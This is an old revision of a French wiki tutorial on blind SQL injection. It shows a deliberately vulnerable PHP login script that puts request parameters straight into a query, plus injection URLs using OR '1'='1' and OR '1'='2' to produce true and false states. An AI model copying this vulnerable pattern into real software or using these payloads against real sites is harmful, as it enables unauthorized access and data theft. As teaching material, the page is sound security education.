Outils d'utilisateurs

Outils du Site


failles_web:blind_sql_injection

Ceci est une ancienne révision du document !


Blind Injection SQL

Introduction

On considère, la plus part du temps, qu'une Injection SQL est blind lorsque celle ci ne génère uniquement que deux états. Un état VRAI et un état FAUX. Si vous n'avez aucune idée de comment fonctionne une Injection SQL, il est conseillé de lire cet article : Injection SQL.

Contexte

Nous utiliserons une page de connexion classique. Vous trouverez ci-dessous le code SQL et PHP permettant de mettre en œuvre la simulation.

On considère aussi que les magic_quotes ne sont pas activées.

--
-- Structure de la table `users`
--
 
CREATE TABLE `users` (
  `id` INT(11) NOT NULL AUTO_INCREMENT,
  `name` VARCHAR(255) NOT NULL,
  `password` VARCHAR(255) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;
 
--
-- Contenu de la table `users`
--
 
INSERT INTO `users` VALUES(1, 'administrateur', 'SuperPass');
<?php
 
mysql_connect("localhost","root","root");
mysql_select_db("sqli");
 
$user = 0; 
 
if(isset($_GET['user']) and isset($_GET['pass']))
{
 
    $user = mysql_query("SELECT * FROM users WHERE name='".$_GET['user']."' AND password='".$_GET['pass']."' ") or die (mysql_error());
    $user = mysql_num_rows($user);
 
}
 
if($user)
{
    echo "Welcome!";
} else {
 
?>
 
<form action="" method="get">
 
	<p><label for="user">User :</label><input type="text" name="user" value="" id="user"></p>
 
	<p><label for="pass">Pass :</label><input type="text" name="pass" value="" id="pass"></p>
 
	<p><label for="submit"></label><input type="submit" name="submit" value="Connexion &rarr;" id="submit">
	</p>
 
</form>
 
<?php
}
?>

Générer deux états

Afin d'exploiter la Blind SQL Injection il est nécessaire d'arriver à générer deux états distincts. De façon simple, nous allons utiliser la clause OR.

http://localhost/connexion.php?user=user&pass=pass' OR '1'='1

Avec cette requête nous obtenons bien un Welcome!. En effet, la requête SQL s'est transformée ainsi :

SELECT * FROM users WHERE name='user' AND password='pass' OR '1'='1'

Cette requête enverra toujours au moins un résultat, 1 est, et restera, égal à 1 ! Si maintenant nous faisons une requête du genre :

http://localhost/connexion.php?user=user&pass=pass' OR '1'='2

Nous ne nous connecterons jamais, 1 est, et restera, différent de 2.

Comme nous le voulions, les deux états sont disponible : VRAI et FAUX. Il ne reste plus qu'à faire ça avec des chaines de caractères intéressantes :-)

ASCII, SUBSTRING et LENGTH

BINARY LIKE et LENGTH

Bit Shifting

failles_web/blind_sql_injection.1340802645.txt.gz · Dernière modification: 2017/04/09 15:33 (modification externe)